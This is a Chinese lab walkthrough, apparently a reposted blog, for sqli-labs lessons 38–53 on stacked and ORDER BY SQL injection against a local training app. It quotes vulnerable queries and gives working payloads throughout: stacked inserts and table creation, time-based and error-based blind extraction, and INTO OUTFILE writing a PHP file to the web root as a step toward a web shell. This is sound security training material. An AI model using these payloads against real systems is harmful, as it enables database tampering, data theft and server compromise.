sqli-labs-less-38~53

less-38~45主要介绍堆叠注入的方法
less-46~53介绍order by 后的注入

less-38

查看源码,我们可以知道

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们使用堆叠注入

http://127.0.0.1/sqli-labs-master/Less-38/?id=1';insert into users values ('38','1','')--+

在这里插入图片描述
查看表中数据,发现38已经添加

在这里插入图片描述

less-39

查看源码

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

可得,除了在id的处理上与38关不一样,其他一样
注入语句

http://127.0.0.1/sqli-labs-master/Less-38/?id=1;insert into users values ('39','1','1')--+

Less-40

查看源码,得

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

除了在id的处理上与38关不一样,其他一样
注入语句

http://127.0.0.1/sqli-labs-master/Less-40/?id=1');insert into users values ('40','1','1')--+

less-41

查看源码,得

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

基本39题一样,区别就是错误不回现,参考39题

Less-42

Update 更新数据后,经过 mysql_real_escape_string()处理后的数据,存入到数据库当中后不
会发生变化。在 select 调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的

观察源码,得
在这里插入图片描述
sql语句为

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

Password 变量在 post 过程中,没有通过 mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行 attack

开始注入

用户为admin
密码为c’;create table me like users#

在这里插入图片描述

Less-43

观察源码得,
less-43与less-42基本一样,在于对id处理的不同,其他一样。

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

Less-44

与less-42的区别在于没有错误返回(盲注),其他与Less-42一样

Less-45

与less-43的区别在于没有错误返回(盲注),其他与Less-43一样

less-46

sql语句为

$sql = "SELECT * FROM users ORDER BY $id";

我们尝试下

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 desc//逆序
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 asc//顺序

显示结果不同,则表明可以注入(但是rand=left(sql语句)与rand=right(sql语句)的结果是一样的,说明不能注入)
在这里插入图片描述
在这里插入图片描述
报错注入:

此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式, ①直接添加注入语句,?sort=(select ******)

(1)延时注入

http://127.0.0.1/sqli-labs-master/Less-46/?sort=(select if(substring(current,1,1)=CHAR(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1)

②利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)

(1)、http://127.0.0.1/sqli-labs-master/Less-46/?sort=rand(true) http://127.0.0.1/sqli-labs-master/Less-46/?sort=rand(false)

在这里插入图片描述
在这里插入图片描述

http://127.0.0.1/sqli-labs-master/Less-46/?sort=rand(ascii(left(database(),1))=115)

在这里插入图片描述
可以看到与rand(true)的结果一样,所以可以得到数据库的第一个字母s

③利用 and,例如?sort=1 and (加 sql 语句)。

延时注入

 http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=115,0,sleep(5))

报错注入

http://127.0.0.1/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)))

在这里插入图片描述
procedure analyse 参数后注入

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(1,concat(0x3a,database())),1)

在这里插入图片描述
导入导出文件 into outfile 参数注入

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 into outfile "F:\\php\\PHPTutorial\\WWW\\sqli-labs-master\\Less-46\\test
.txt"

在这里插入图片描述
在这里插入图片描述
以考虑上传网马,利用 lines terminated by

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 into outfile "F:\\php\\PHPTutorial\\WWW\\sqli-labs-master\\Less-46\\test.php"lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+

在这里插入图片描述

less-47

和less-46除了id的处理不一样,其他一样
sql 语句为
$sql = "SELECT * FROM users ORDER BY '$id'";
参考less-46

Less-48

关与 less-46 的区别在于报错注入不能使用,不进行错误回显,其他与less-46一样
参考less-46

less-49

与less-47唯一的区别是没有错误回显

less-50~51;

这些关卡开始进行order by堆叠注入
注入语句如(less-50的注入语句)

http://127.0.0.1/sqli-labs-master/Less-50/?sort=1;create table less50 like users。
大家参考前面关卡

猜你喜欢

转载自blog.csdn.net/qq_44105778/article/details/87457230
今日推荐